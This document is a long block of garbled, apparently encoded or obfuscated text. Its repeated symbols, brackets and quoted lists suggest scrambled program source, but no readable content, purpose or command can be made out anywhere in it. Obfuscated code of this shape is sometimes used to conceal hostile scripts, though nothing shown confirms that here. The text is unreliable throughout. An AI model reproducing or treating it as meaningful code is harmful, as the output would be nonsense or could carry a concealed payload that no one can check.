OVRVRNN\mG	\mmGGSS_UU8O _	S^OVRQVNKGGGGQ^	UOVRPWNN\mmGGGGGGCWSV 	GGGGGZGG	
UVUON\mmmGGGGGOFCWSV 	GGGGG _	S^OVRSUNOCWSV 	NGG[GGGOSPRLURNGGGGGG _	S^OVRSUNOCWSV 	NGYGGGOVWS_RPVLRNGGGGGFR	^W8POCWSV 	NNGG	\mGCR

GGGGGZGG8T OVRV^NO _	S^OU^VNNGXGG' 	OCWSV 	KGOUR9TVNNGG]GGGGCWSV 	\mmmGGOF _	S^OVRPVNOCR

NGGGGGGCR

GGZZZGGGGEENGG	\mGGGGGOTST		RVOC
__Q^VR	PS<V:KGGGGQ^	UOVRPUNGIGGG _ Q	QTPONGGGGIGGGG@]@GGGIGGG8T OVRPTNOCWSV 	NGGGIGG@]@GIGGGG8T OT^^NOCR

NNNGGGGG'8	OQ^	UOVRQ^NKGGGGT
OVS^QNONKGQ^	UOVRVRNN\mGGGGGO3GGC	VRV8UNGmGSS_UU8OQ^	UOVRQVNKGGGGGC	VRV8UN\mGGGGGGO"	GGGGGC	VRV8UNGGmmHHG07G3G%]GGmmGGGGGmGGGG		GGGGGG88_ONmGGGGGGmmGGGGGGGGGGGOFQ^	UOVRV^NO _	S^OVRPSNNNGG	G\mmGGGCS_
^GZGGG	O8T OVRQRNNGGAAGG'8T OVRWSNO&%47&3/GGGGGIG _	S^OQWWNNGGGXGGG&%47&3/GIG8T OVRPRNG]GGG88!.+"88\mGG	GGG8T OVRPQNOCS_
^KGGGGG@@N\mGGmG		GGGR	P W8WONmGGGGmGGGGGmGGGGGOFQ^	UOVRV^NO _	S^OVRPPNNGGGGGF _	S^OVRV^NO8T OVRP_NNNGGG	\mGGGGGGGGOF	OT
OVRQRNNNGG	\mCWSV 	GZGG	
UVUON\mGGGGGGGGGGOFCWSV 	GGGQ^	UOVRSUNOCWSV 	NGG[GGGGGOSPTLUPNNGG	\mGCGGGGZGG88_ON\mGGGGOCGZZZGNGG	\mGGC^^TGGZG8T OVRV^NO _	S^OVRP^NNGGXGG8T OVR_WNO8T OVR_VNKGGCWSV 	NGG]GGGT
OVR_UNOCWSV 	N\mGGGC8 

S GGZGG _	S^OVR_TNGGIGGGGG _	S^OVRSUNOCWSV 	NGGGGGIGG@]@GIGGC^^TGIGE;	EGGGIGGCWSV 	\mGGGC	^R8GGZGGGGG _	S^OVR_SNOC8 

S N\mGGC8^V	VW^GZGG' _	S^OVRPPNOCKG@@KGGGGGWKGGGWN\mGGGGGOC8^V	VW^NGGmCRRWRGGGGGGZGGGGGO	NGG' _	S^OVR_RNOC8^V	VW^N\mGGCQWTVGGZGGG'8T OVR_QNOC8^V	VW^KGGGGWKGGCRRWRN\mmGGGGGGGGGGGO8T OVR_PNOCQWTVNGGGGAAGGGGGT
OVR__NOCQWTVKGGGGCWSV 	NGGGGGGFZZGNGGGGmGGGG'8T OVR_^NOC8^V	VW^N\mGGGG	\mGmHHG	G	G

	mmGGGGOCRRWRGYZGGGGC	^R8NGmmG' _	S^OVR_^NOC8^V	VW^N\mGC8^V	VW^GGGZG'Q^	UOVRPPNOCKGGG@@KGGGGGGWKGGGGWN\mmGGGGGGOC8^V	VW^NGGGGmGG'8T OVR^WNOC8^V	VW^KGGGGGQ^	UOVR^VNOC8 

S KGCRRWRKGGGGGE;WENKGGGGGWN\mmmGGGC
V_SW8GGGGZGGGG'8T OVR_QNOC8^V	VW^KGGGWKGC	^R8N\mG'8T OVR_^NOC8^V	VW^N\mGGGGGGGOC
V_SW8GFZZGC8 

S NGSS_UU8OQ^	UOVR^UNKGQ^	UOVUV^NN\C UUZJRQ^\CSPZOC UUYWNXC UU]JC UU\mmG	\mGGGGmG' _	S^OVR^TNOC8^V	VW^N\mm'Q^	UOVR_^NOC8^V	VW^N\mGGGGmGGGGGmGCRRWRGGZGC	^R8GGLGGOVWWULUUN\mGC8^V	VW^GGZGG'8T OVR^SNOCKG@@KGGOTRVLQ^NKGGCRRWRN\mGGGGGOFC8^V	VW^NGG	\mm' _	S^OVR^WNOC8^V	VW^KGGGQ^	UOVR^RNOC8 

S KGGGGCRRWRKGGGGE;WENKGGGGGWN\mGC
V_SW8GGZGGGG'T
OVR_QNOC8^V	VW^KGGGGWKGC	^R8N\mGGGGOC
V_SW8GFZZGC8 

S NGSS_UU8O8T OVR^UNKGGGQ^	UOVUV^NN\mmm' _	S^OVR_^NOC8^V	VW^N\mmGGGGGGGGGGO3GGGGC	VRV8UNGGmHHG07G4G*]GG mmGSS_UU8OQ^	UOVR^UNKGGC	VRV8UN\mGGGGO"	GGGC	VRV8UNGGC	^S^W
8	ZUTVQQ\CS8UZC	^S^W
8	9VQS\mGGGGGGGmmGGG		GGG^R^
UP
8_PTQ^OC	KGGCW
NmGGmHHGG	GG07G7G3
mmGGGGGGGGGGGGGOF8T OVR^QNOC	NGGGGGGGC	GZZZGEENGG	GGGGQ^	UO^^TNGGGGGIGGCW
GIGGE;	E\mGGO8T OVTWVNO _	S^OVR^PNKGC	KGCRUS^KGG75" 8(!!4"38$&7325"NNGGGGmHHG'
GJ	mmmmGC	UQGGGZGGCRUS^<W:<V:GLG8T OVR_SNOCRUS^<W:<W:N\CQ	 Z^_MU\C
WR ZCQ	 JUW\mmmC UQU	TVGGZGGG8T OVR^_NOC	KGC	UQKGOVSWUQJR_TSNN\mGGGOQ^	UOVR^QNOC UQU	TVNGGAAGGGGGQ^	UOVTWVNO8T OVR^^NKGC UQU	TVKGC8
NNGmGGGC	UQGGGGLZGGGG _	S^OVR_SNOC8
<W:N\mC UQU	TVGZGGGGGQ^	UOVR^_NOC	KGGGGGC	UQKGGO_VSRLSPNN\mmmmm	GGGGQ^	UOVQWWNOC	KGGWKGGGGC	UQNGGIGGE;	EGIGCW
GGIGE;	EGGIGG8T OVQWVNOC	KGC	UQN\mmmGGGGGm	GGGGG _	S^OVQWUNGGIGGGGGCW
GIGGGGE;	XY;	EGIGGC	\mmGGGmG		G 8PQVPU	OCNmmmmGGGGGGmGGGOF _	S^OVQWTNOQ^	UOVURUNNNGGG	GG\mC_8W GGGGZGGGG' 8	OT
OVQWSNGGIGGCKGGGGEEN\mGGGGGGGGGO8T OVR^QNOC_8W NGAAGT
OVQWRNOC_8W KGG@@NGFZZGGGGNGmGCT
TUP	VGGGZG8T OUUWNO@@KGC_8W KGUN\mGGGOO	NGGCT
TUP	V<W:GGZZZGGGO	NGGGO _	S^OVS^QNONGGGHGGGOVRQSS_JPWWS_NNGGGAAGGO	NGCT
TUP	V<V:GGGGYZGGGOWULWVNNGGGGGG	GG\mGGGm	GGG\mGGGmG		GGG
 WOCNmmmGGGmHHG07G!
	 G&7.GG
mmmmGGOFT
OVQWTNOT
OVQWQNNGGGGGGF _	S^OVQWPNOQ^	UOVQW_NNNGGG	\mmCSTGGZGO	NGGGO _	S^OVS^QNONGGGGGHGO_QTS^LRVNN\mGC_8W GZGGGGG' 8	O _	S^OVQWSNGGGGGIGGGGGGCKGEEN\mGC

WUW VGZGW\mGO8T OVQW^NOC_8W NGAAG _	S^OVQWRNOC_8W KG@@NGFZZGGNGGGGmmmCT
TUP	VGGGGGGZGGQ^	UOVQVWNO@@KGGC_8W KGGGUN\mGGGOO	NGGGGCT
TUP	V<W:GZZZGGCSTNGC

WUW VGGGGZGGGGGGO	NGCT
TUP	V<V:\mGGGmmmmGGGGGC

WUW VLL\mGG'8	O8T OVQWSNGGGIGGGCKGCSTGGGIGG@@GGIGGGGC

WUW VKGT
OVRVRNN\mmmGGGOC

WUW VGGGGYZGGGGGOQJTNNGGSS_UU8O _	S^OVQVVNKGQ^	UOVQVUNGGGIGGGCN\mmG		GGGGGG8V^ PSONmmmGGmmmmGGGGGmmmGGGOF	O8T OVRQRNNNG	\mGGOF	OT
OVSVTNNGGF'8T O_P_NO078$()3")38#.5NGGGGGGGF

S8O078$()3")38#.5NNGG	\mmmGGGGCS VQWGGZGGGGG078$()3")38#.5\mGGGGC8TR^RUGZGCS VQWGGIGGG8T OVT^SN\mGGGGGGCUWGGGZG _	S^OVQVTNOVQ^^WWT
WONKGGG _	S^OVQVSNN\mGC_S _^QSGGZGG^O&%47&3/GIGGGGG _	S^OVQVRNKGGOULQNNGGIGQ^	UOVTU_N\mGGCQV	GZGGG
U	_T _ON\mmmGCURGZGGGG^O&%47&3/GIGGT
OVRTVNKGGOW^LWVNN\mmGCVR_GZGGGGGGQ^	UOVQWPNOQ^	UOVQVQNNGXGG88_ONG]GGGGG\mGCWRRVPWGZGGCVR_GGFZZGGGXGT
OVQVPNOCVR_NGGGGG]GGW\mCWQP88GZGGGGGGOC +(%&+4<8T OVTUVN:JYNGGGGGXGC +(%&+4< _	S^OVTUVN:JYGG]GGGG _	S^OVWWUN\mCW VURU VGGZGGG _	S^OVQV_NGGIGQ^	UOVQWVNOT
OVR_UNOCUWGIGO	 NGSQQ
SUONNKGGWKGGGGGGOWPLWVNN\mGC	 QGGZGG	^8
SSQ8S^OmmmGGGGGQ^	UOPTWNKmGO@884+2 88@KG@88=.78)&*"88@KGGGGGG@884/*(78,">88@KG@88(738)&*"88@KG@8807875"!.?88@KG@88 2&5#8)&*"88@KG@881"54.()88@NKmOCUWKGGGC_S _^QSKGGGCWRRVPWKGGGCURKGGGCWQP88KGGGGCW VURU VKGG _ Q	QTPONNmGGGGN\mGGGGGGOFC	 QNGGGmmGGGGGGGGGOO	NGGGGG 8	O8T OVSP_NKGGGWNGGGYGWNGSS_UU8OT
OVQV^NKGGGGGG _	S^OVQUWNN\mmG	\mGGGmGC	GGGGZGG' _	S^OVRWSNOC8TR^RUNGXG' _	S^OVQUVNOC8TR^RUNGG]GGEE\mmmmGGGGOF8T OVQUUNOC	NNGGmGSS_UU8O8T OVQUTNKGGGG _	S^OVSSUNN\mG	\mGmGC	GGGGZGGGGGG8_PRSPOC	N\mmmmCVPR		GGZGGG _ Q	QTPONGGGGGGIGGGG@]@GGGGGIGGG^O&%47&3/GGIGGGQ^	UOVQUSNKGGGGOS[[VNN\mGC
 8UW	^Q
GZGGQ^	UOVQURNGGGGGIGGGCVPR		GGGIG8T OVRS_N\mGC
VT_	^GZGG8T OVQUQNGGGIGCVPR		GIGGQ^	UOVQUPN\mGGGC8P	GZGG^O&%47&3/GGIGGGGT
OVQUSNKGGGOVRQ9VS_NN\mGGGGGGGGCQR	GZGT
OVQU_NO8T OVQU^NGIGGGGGC8P	GGIGGGQ^	UOVQTWNKGEEKGGC	N\mGC	PWRGGGZGOQ^	UOVQWRNOCQR	KGGG _	S^OVQTVNNGGGFZZGGN\mGO8T OVQTUNOC	KGGC
 8UW	^Q
NGFZZGGGGGAAGGGGG _	S^OVQTTNOC	KGGGC
VT_	^NGFZZGGGGGAAGGGGGFC	PWRNGGGGm QWUWSON\mG	\mGGmmmGGGGC	GGGZGQ^	UOVQTSNO _	S^OVQTRNKGGEEKGGGGCQR	N\mGGGGGGGGGOFT
OVQUUNOC	NNGGmHHG	G	mC
^PVZU^LVV\C SU_ZC
^PVJUR\mGGSS_UU8OQ^	UOVQTQNKG _	S^OVRQWNN\mmGGGG	\mmmGGmGC	GGGZGGG8_PRSPOC	N\mCR88_GGZGGT
OVQTPNOQ^	UOVRSRNKGEEKGGGGGC	 QN\mmGGC8GZGGO8T OVR_SNOC	NGZZZGGGGGGWN\mGGGOFC8NGmmGGGOF 8PQVPU	O _	S^OVQTQNNNGGmSS_UU8OT
OVQTQNKGG8T OVRQUNN\mG	\mGGGmGGGOF	WV8^ROC8TR^RUKGGC	NNGGGmGGSS_UU8OT
OVQT_NKGG8T OVRQTNN\m	\mGGGGGmmmmGGGGGG
 WO _	S^OVQT^NN\mGGGGGmGGGGGOF	WV8^ROC8TR^RUKGEENNGGmGGSS_UU8OQ^	UOVQSWNKGG _	S^OVQSVNN\mGG	\mGGGGmGGGGGmGC WR8GGZG^R^
UP
8_PTQ^OC	KGGGGC
 8UW	^Q
GIGGGGGE;	EGIGCR88_GGIGE;	EGGIGC
VT_	^N\mGGGOFTST		RVOC8TR^RUKGGGGGC WR8NNGGGGmG	\mGGGGmGGGGOC8NGW^SS^8OC8TR^RUN\mGGGGGG QWUWSON\mGmGGGGGGO3GGC	VRV8UNGGmGGSS_UU8OT
OVQSWNKGGGC	VRV8UN\mGGGO"	GGGGGC	VRV8UNGmGGGGGGGGmGGGGGGGmmmG		GGGP
	 SVVONmGGGGmmmmGGGGGGGGGmHHG07G7G$		GGmmGGGGOF	O8T OVRQRNNNGGG	\mGGGO
VT_QUV
 ROVQ^^WWT
WONNNG	\mGGGGGGGGGGGOFQ^	UOVQWPNOQ^	UOVT_UNNNGGGG	\mGGO8T OVT^_NONGGGGZZZGGGT
O_SNNGGGG	\mGGGGGOFOC84"51"5<8T OVQSUN:NNG	\mGGGGGO 8		OT
OVQSTNNNGGGGGG	\mGGGGC8U^UQGGGZG
U	_T _ON\mmmGGGOF'Q^	UOVTPPNOC8U^UQNNGGG8	VSS OC8U^UQKGOSQ_LURNKGGGN\mGGGOF' _	S^OVTPPNOC8U^UQNGGGGGGGGGGF' _	S^OVQSSNOC8U^UQNNGGmGGGGGGC8U^UQGZGGG&%47&3/GIGGT
OVQSRN\mmmmGGGGGGGOF'Q^	UOVQSSNOC8U^UQNNGGC8U^UQGGZGGUP_W
_^ON\mGGGGmmmmmC
RR GGGGGZGGGGG^O&%47&3/GGGGGIGG@ @KGGGGOWULWQNN\mGGGGGGGC^_SGGGGGGZGGGT
OVQSQNGIGGGC
RR GGGGIGGGT
OVQVSN\mC^PV^GZGC8U^UQGGGGGIGGGG@H@GGGGGIGGGC^_S\mHHG07G5G4]G 	G	mmGGGGGCRSTRGZGGGGGC8U^UQGGGIGQ^	UOVQSPNGGIGGGC
RR \mGGOOC8U^UQKGGGGGG&%47&3/GGIGG _	S^OVQSRNKGGGGGUP_W
_^ONNGGC_NGGGGmGC^TRGGGGZGGGGC_GGIG _	S^OVQS_NGGGGGGIGGGGGGC
RR \mmmGO'8T OVRW_NOC^TRNNGmCRGGGGZGO	NGGGG'T
OVQS^NOC^TRN\mGGGGGOCRGGG[ZGGGGGT
OVQRWNONGGGGGJGGGO_QTPWLTWNGGGGGGCRGGYGGQ^	UOVQRVNONGGLGOTTLUQPNNGGmmmGGWT	OC^TRN\mG		\CVQ
W	ZUTMR\C
ZCVQ
W	JQ\mGmHHG G	mmGGGGGGO'T
OVRW_NOC_GIG _	S^OVQRUNGIGGC
RR GGIGGT
OVQVSNNNGG	\mGGGGWT	OC^TRN\mmmmGGGmGGGGmG	OC_KGGC^TRKGGGGGGCRN\mGmmGGGGGGGC8	TGGZGGG&%47&3/GIGQ^	UOVQRTNGGGIGGC^_S\mGGGGGGGOC8U^UQGGGGGFZZGGG&%47&3/GGGIGGGGG8T OVQSRNGGGGAAG'8T OVRW_NOC8	TNGGGGAAGG  SS P  OC8	TNGFZZGGGNGGmGGGT8OC8	TKGGGGGOWV_QLWVNN\mmmGGGGOWT	OC8	TNGGAAGG _	S^OVQWPNOT
OUWWNNNGGG'8	OC8	TKGGGGN\mm	OC8	TN\mmmGGGGGO' _	S^OVRW_NOCRSTRNGGGAAGGO	NGG' _	S^OVQS^NOCRSTRNGYGGQ^	UOVQRVNONGGGJGGOWULWVNNGGGG	\mGGGGGGGGO'Q^	UOVRW_NOC^PV^NGGAAGGGGOT
OVQRSNONGGJGO	NGG'
OC^PV^NNGGGG[GGGOWWLWSNNGGG	\mmmGGGO' _	S^OVRW_NOC^PV^NNGGmGGC8
_S
GZGG'Q^	UOVRW_NOC8U^UQGGGIG _	S^OVQRRNGGGIGC
RR NGGGXGGQ^	UOVU_VNOO	 NG'T
OVQRQNOC8U^UQGGGIGG _	S^OVQRRNGGGIGC
RR NNGGGG]GEE\mGGGGGGGGGGGGOC8
_S
GGFZZGGEEGAAGGG _	S^OVQRPNOQ^	UOVQR_NKGGGGGC8
_S
NGAAGG	8
OC8
_S
KGG _ Q	QTPONKGGGG@Y@NNG	\m	OC8
_S
N\mmmGGGGGGGO'T
OVRW_NOC^PV^NNGGGmCU^_8GGZGC8U^UQGIGG _	S^OVQR^NGIGG^O&%47&3/GGGGIGGGG@ @KGGOWPLWVNN\mmmGGGGGGGGCQGGZGGG'Q^	UOVRW_NOCU^_8NGGXGO	 NG' _	S^OVQRQNOCU^_8NGGGG]GGGGGEE\mGGGGGC_GGGGZGW\CUPT	W W ZOWPLWRN\C_PVZCUPT	W W BVQ\mGGGGGOCQGGFZZGGGGEENGGGGmmCTVV
GGGZGG _	S^OVQVWNO@@KGGGCQN\mmmGGGC_GGGZGGO	NGGCTVV
<W:\mGGGmGGGGGOC_GYGGGWGGAAGQ^	UOVQQWNONGJGC_GYGGO_^_LUNNGGGGGGSS_UU8O _	S^OVQQVNKGGGGGG8T OVQQUNN\mGGGGGOC_GGGZZZGGGWGGAAGOT
OVQQTNONGGGGJGGGGGO	NG'
OC^PV^NNGGGGYGGGOV^PLPWTNNGGGSS_UU8OQ^	UOVQQVNKGGGQ^	UOVQQSNN\mGG	OCU^_8KGGGGGGCQKGCTVV
KGC_N\mmmmCWSV 	GZGG	
UVUON\mGGGGGGGGGGGOFCWSV 	GGGQ^	UOVR_SNOCWSV 	NGG[GGGGOWLWNNGG	\mGGGGGGGC SVP^8GGZGT VUON\mGGGGGCUWGZGGGGGGQ^	UOVQVTNOVQ^^WWT
WONKGG _	S^OVQQRNN\mCV 
^GZGGGGGUP_W
_^ONGGIGGGGGG _	S^OVRN\mGGGCRR QGZGGG'8T OVQQQNOCV 
^NmGGGGGXGGGGOCV 
^GGIG@H@GGIGGGGCUWGGGIGGGGQ^	UOVQQRNNmmm]GGGGGOUP_W
_^ONGGIGGGT
ORRNGGGGGIGGGGCUWGGGGIGG@H@GGGIGGGCUWGIGGQ^	UOVQQRNN\mmGGGGCS
^	SGGGGZGGGGGGT
OVQWPNOQ^	UOP_TNNGGXG8T OVTSQNO
8ONKGG7/7825+8/(43NG]GGOOC84"51"5<8T OQSQN:NGGXGGGGC84"51"5<Q^	UOQSQN:GG]GEEN\mCP P8GGZGGGGGO	O _	S^OVQQPNNGAAGGGG07*287+2 .)8#.5NGXGGGGG07*287+2 .)8#.5GGG]GGGUP_W
_^ONGIG8T OVRN\mmmmGC^UQ_	QUPRGGZGO	O8T O_U_NNGAAGGGG0787+2 .)8#.5NGGXGGG0787+2 .)8#.5G]GGUP_W
_^ONGGGIGGGGG _	S^OVQQ_N\mGGGGCRV	 WQGGGGGZGGG	O8T OVQQ^NNGGXG078$()3")38#.5GGGG]GGUP_W
_^ON\mGGGGGGC8U
GGGGZGGG	^8
SSQ8S^OmmGGGT
OVQPWNKmO@887&3/8%QS88@KGGGG@887+2 .)8%&4"QS88@KGG@88#(*&.)88@KGGG@88/%8%QS88@KGG@88 7&3/8%QS88@KG@88&%47&3/8%QS88@KGGG@88$()3")3#.58%QS88@KGGGG@88*2#.58%QS88@KGG@887+2 .)#.58%QS88@KGGG@884+2 88@KGGGG@881"54.()88@NKmGGOQ^	UOVQPVNOCRR QNKGGGC SVP^8KGCS
^	SKGQ^	UOVQPUNOCRSTRNKGG8T OVQPTNOC^PV^NKG _	S^OVQPTNO&%47&3/NKG8T OVQPSNOCRV	 WQNKGGGGGG _	S^OVQPSNOCP P8NKG _	S^OVQPRNOC^UQ_	QUPRNKGT
OVQPQNOVQ^^WWT
WONKGGGG8T OVQQRNNKGG _ Q	QTPONNmGN\mGGGGGOFC8U
NGGmGGGGGGGOO	NGGG 8	OT
OVQPPNKGGGWNGGYGGGGGWNGSS_UU8OQ^	UOVQP_NKG _	S^OVQP^NN\mGG	\mmGGGOFR	^W8POC8U
NNGGGGmHMG
G GMHmmGGSS_UU8O _	S^OVQP_NKGGG8T OVQ_WNN\m	\mGGGGGGGGmGGOTST		RVOC^PV^KGGGGC8U
NNGGmGGWWSPP	8T_ OC^PV^KGGGGGGVSQONN\mT8OC^PV^KGGGGGOWSLWVRNN\mGGW^SS^8OC^PV^N\mmGGT^UWPU	P^OC8U^UQGGGGIGQ^	UOVQ_VNGGGIGC
RR KGGGQ^	UOVQ_UNOC8U
NKG8T OVQP_NN\mmmmT^UWPU	P^OC8U^UQGIGQ^	UOVQ_TNGIGGGGGGC
RR KGGG _ Q	QTPONKGT
OVQ_SNN\C
UZVPUW\CVRVWZC
UBVQ\mGGG'	8	GC^PV^\mG8		O _	S^OVQSTNKGVKGGGOUQPLTTNN\mmmmGmmm	OCP P8KGGGGC^UQ_	QUPRKGGGCRV	 WQN\mGGGGGO3GC	VRV8UNGGmGSS_UU8OT
OVQ_SNKGGGC	VRV8UN\mGGGGGGGGO"	GC	VRV8UNGGGGGmmGGGGmHHG	mmGGm		GGV UV
RR^QVOCPPR 	8NmmmGGGGGCTTW	ZOW_LWPN\C
Q88TZCTTW	BVU\mGGGOF _	S^OVQUUNOCPPR 	8NNG	G\mmmGGGGGCSQU _		GZGGT
OVR_SNOCPPR 	8N\mGGOCSQU _		GYGGOVPTRPPVJQ_PV^RNNG	G\mGGGOCSQU _		GG[GGGOUPWLUTWNNGGGG	GGGG\mGGCRTQ UGZGG8T OVQWVNOCPPR 	8KGWKGGGGOSW^VLQVSSRNN\mGC U^
_GGZGG _	S^OVQ_RNOCRTQ UKGG@G@NGLGGG8T OVQ_RNOCRTQ UKGGGGE;EN\m	GOC U^
_GHGT
OVR_SNOCRTQ UNNGGYGGWIRR\mmGGG		G	
UVUOCP		T
GGGGZGNmmGGGGGGGGGGGGCWSV 	GGGGZGG	\mGGOCP		T
NGmCWSV 	GGZG	\mGmGGGOCWSV 	GGGGGFZZG	NGGGG	GGCWSV 	\mmGGGCPPR 	8GZGGGG\mGGCS8U GGZGGGG' _	S^OVRTRNOVQ^^WWT
WONN\C	

8PZ7/78.)38*&?H7/78.)38*&?\CV
 	ZC	

8PLPV\mGGGGGGGGGGGOCS8U GGGAAGGCS8U GGGYGGOUVVLU_^NGGGAAGGGCS8U GGG[ZGGORUSU_PSVLR^NNGGCPPR 	8GZGGG'T
OVQRQNOVQ^^WWT
WONN\mGO _	S^OVQUUNOCPPR 	8NGGGAAGGQ^	UOVQ_QNOCPPR 	8NGGGGYGGGGGOVWS_RW_LQ_NNGCPPR 	8GGGGZGG8_PRSPOCPPR 	8N\mmmGGGGO _	S^OVQUUNOCPPR 	8NGAAGGG _	S^OVQ_PNOCPPR 	8NGYGOSQ^LTVNGGGGAAG8T OVQ_PNOCPPR 	8NG[ZGGOVWS_S_QL^WNGGAAGFV UV
RR^QVOCPPR 	8NGGGGGAAGGR	^W8POCPPR 	8NNGGmGGCWSV 	GGZGCPPR 	8\mGGG	GGCWSV 	\mmGGGCQ_^T VTPGGZGU ^STT	88O8T OVWUVNKGGGEEN\mGGGGGGGGGO8T OVQUUNOCQ_^T VTPNGAAGGGG8T OVQ_PNOCQ_^T VTPNGYGGOSQ_LTUNGGGGAAGGGT
OVQ_PNOCQ_^T VTPNG[ZGGGOVWS_S^SL_UNGAAGFV UV
RR^QVOCQ_^T VTPNGGAAGGR	^W8POCQ_^T VTPNNGGGGmGGGGGCWSV 	GGGGZGGGCQ_^T VTP\mGGG	GCWSV 	\mGmGGGCWSV 	GGZGGG\mGGGGGGG	GGGGGCWSV 	\mGGm		GT VUOCP		T
GGZGNmGGGGmGCQP 8GGGZGGG	\mGGGGGGmmGGOCP		T
NGGGmHHG07G%G&7.GTG	 G	mmGCQP 8GGGGGZGGG	\mGmHHG07G#G*]GGmmGGOCQP 8GGFZZGGG	NG	GCQP 8\mGGGGCPPR 	8GGGGGGZG	
UVUON\mGGOF8T OVQUUNOCPPR 	8NGGQ^	UOVQ_PNOCPPR 	8NGGGG[GOUS_LURUNGGGGGGGT
OVQ_PNOCPPR 	8NGYGOVWS_S^TL_TNGGGGGV UV
RR^QVOCPPR 	8NGGGGGFR	^W8POCPPR 	8NNGGGGmCQP 8GGZGGG\mGGG	GGCQP 8\mGGGGGmGCQP 8GZG _	S^OVQPRNOR8T	T	TQ8OCPPR 	8NN\mGGGG	GGCQP 8\mmGGG		GG PQUPVSVOC
T	 
NmGGmGGGGGGGGGOF _	S^OVQ__NOC
T	 
NGGGG8T OVQ_^NOC
T	 
NGG[GOVS^9VTRNGGGGQ^	UOVQWVNOC
T	 
KGGGWKGGUNGFZZGGGE;V;_ENG	GGW\mmmCQQP
GZG'8T OVRT^NO@1@KGQ^	UOVQWVNOC
T	 
KGJOWTLWVNNN\mmCQQP
GGGGZGGQ^	UOVT_SNOCQQP
NGGGXGCQQP
<V:GGGG]GW\mGGGGGGOCQQP
G[GGGOSPVLU^NGGGGGCQQP
GGYGGOVWS_RTRLSVNNG	GCQQP
\m	GW\mGGmGGGGGG		GGG
 R
VW8_S^OCPVR^
	Q^PNmmGGGmGGG	GGG _	S^OSWSNOOCPVR^
	Q^P<V:NN\mmG		GT
VR	OC
U WWNmGGGmGOF8T OVQ__NOC
U WWNGGGGGGC
U WWGGGZZZGEENGGG	GGGC
U WW\C^^UPZVWWLPW\C_W^^ZC^^UPJVW\mGGGGGGGGGGGC_GZGG	\mGGGGGGGGOC_GZZZGG	NGGmGGGC_GGGGZGG\mGGGGGGGOT
OVQWPNOT
OVQ^WNNNGGGmmmmGC8GGGZGGGG	OT
OVQQ^NNGGXGGGGGG078$()3")38#.5G]GO	OT
OVRQRNNGGGGGXGG&%47&3/GG]GGGGGEEN\mGGGGOC8GGGFZZGEENGmmmGC	SUQ8SGZG'88OC8N\mGGGGGGGGOC	SUQ8SGGGFZZGGGGGGGAAGC	SUQ8SGGYZGGGOUVWQTUQS^JRTTSQUS^NNGGGGGGC_GGZGGG\mmGGGmGGGGGOFC_NGGGGGmGGGOT
OVQWPNOT
OVQW_NNNGG'8	OT
OVQ^VNKGG _	S^OVQ^UNONKG8T OVRVRNN\CSTWU ZOWSSLWUN\C 	
WZCSTWU BVT\mGGGGGGGOQ^	UOVQWPNOT
OVQWQNNNGmGCP
 
R
GGGZGO	NGGGG 8	OQ^	UOVQ^VNKGWN\mmmGGGOCP
 
R
GAAG _	S^OVQ^TNONGGGGJGCP
 
R
GG[GO_QTW^L^VNNGGGGGC_GGZGG\mGGmGGGGGGGmGGGGGGGGGGOFC_NGGm	GGGGC
U WW\mHHG07G"	G5GG 	mmGGGGGGGmCU GGZGGGGGGORS^^^_PLVTNGLGGGGT
OVVSSNOWKGGOVVVWWTWLT_^^PWNN\mGGGOQ^	UOVQ^SNOC
U WWNGGYZGGGCU NG	GGGC
U WW\mGGO8T OVQ^RNO _	S^OVSSSNOC
U WWNKGJUNGZZZGGQ^	UOVQ^QNNGGGGG	GGC
U WW\mmmmGGGGGO8T OVQ^SNOC
U WWNGG[GGGGCU GJGGGGGGOSWRQLSSNNGGGGmGCUVS^RPQGGGZGEE\mGGGGGO _	S^OVQWPNO8T OVQ^PNNNGGGmGGmGGGGCUVS^RPQGGZGGG'8T OVQ^_NO	
8OOT_SLVQVQNNN\mGGGGGGGGGGGGGGGO3GGGC	VRV8UNGGGmmGGGGCUVS^RPQGGZGGEE\mGGGGGGGGO"	GC	VRV8UNGGGGGGmGGGGGCUVS^RPQGGGGZGEE\mGGGGGmGGGGGGGGmGGGO8T OVQ^SNOCUVS^RPQNGGG[GOTS^QLRWSNNGGGGGmGGGGCUVS^RPQGGGGZG8T OVQ_UNO	OEEKGGNN\mGGGGOT
OVQ^^NOCUVS^RPQNGG[GOQT^_JUT^_NNGGGGCUVS^RPQGGGGIZGG8T OVQ_UNOCUVS^RPQN\mGGGGGGmGGGGGGC
U WWGGIZGGE;	HMEGGIGGGCUVS^RPQGIGGGGT
OVPWWN\mmGGGG	GGC
U WW\mGGGmmGGG		GG8_PRSPOC
U WWNmGGmmGGGGOF _	S^OVPWVNOC
U WWNGG8T OVQ^^NOC
U WWNGGGGGG[ZGGGGGOV^TTT_^J__S_VTNNGG	GGGC
U WW\C_R	ZQPUQ\CS SQ_PPZC_R	BVV\mGGGGGC

WUW VGGGZGGT
OVQTPNOQ^	UOVPWUNKGEEKGGGGC
U WWN\mG	GGGGG8T OVPWTNOC

WUW VNGGGXGGC

WUW VGG]GC
U WW\CUWZSVR\C_P_ZOCUWYWNXCUW]JCUW\mm		GGGGGGW^SS^8OC	W_W_NmmHHG
G	mmGGGOF8T OVPWSNOQ^	UOVPWRNNGGGGFQ^	UOVPWSNO _	S^OVQW_NNNGGGGG	\mGGGGGGGGGOF8T OVPWQNOC	W_W_NGGGGGGC	W_W_GGGGGGZZZGGGGGEEGGGGGGGF'T
OVPWPNOC	W_W_NNGG	\mHHGG	 	mmGGGGOFOC +(%&+4<Q^	UOVPW_N:NGGGGGGFQ^	UOVT_SNOC +(%&+4< _	S^OVPW^N:NNGmGGC +(%&+4<8T OVPW^N:GGZGGGGGG 8	O _	S^OVPVWNKGGONN\mmmGGGGGOFQ^	UOVPVVNOC +(%&+4<T
OVPW^N:NNGGC +(%&+4<8T OVPW^N:GGGGZGGGGON\mGGmGGGGGCPVR^
	Q^PGGGZGC +(%&+4<Q^	UOVPW^N:\mC
U WWGGGZGGG'Q^	UOVPVUNOC	W_W_N\mmmGGGGOFQ^	UOVPWQNOC
U WWNNG	\mmmmGGGGGGOT
OVQ^^NOC
U WWNGGGGGYGGGGOWRLWTRWQNNGGGC
U WWGGZGG8_PRSPOC
U WWN\mmCPVR^
	Q^P<8T OVQ_UNOC	W_W_N:GGGZGO@@GGZYGGGGC	W_W_KGG@@GGGGZYGGGT
OVPVTNOC
U WWNKGGG@ @GGGGZYG _ Q	QTPONKGG@@GZYGGT
OVQ^TNONN\mGGGGGGGGGGGOT
OVRTPNOCPVR^
	Q^PNGGGGGYGGGGOVPVLU^NNGGmmmGGGOCPVR^
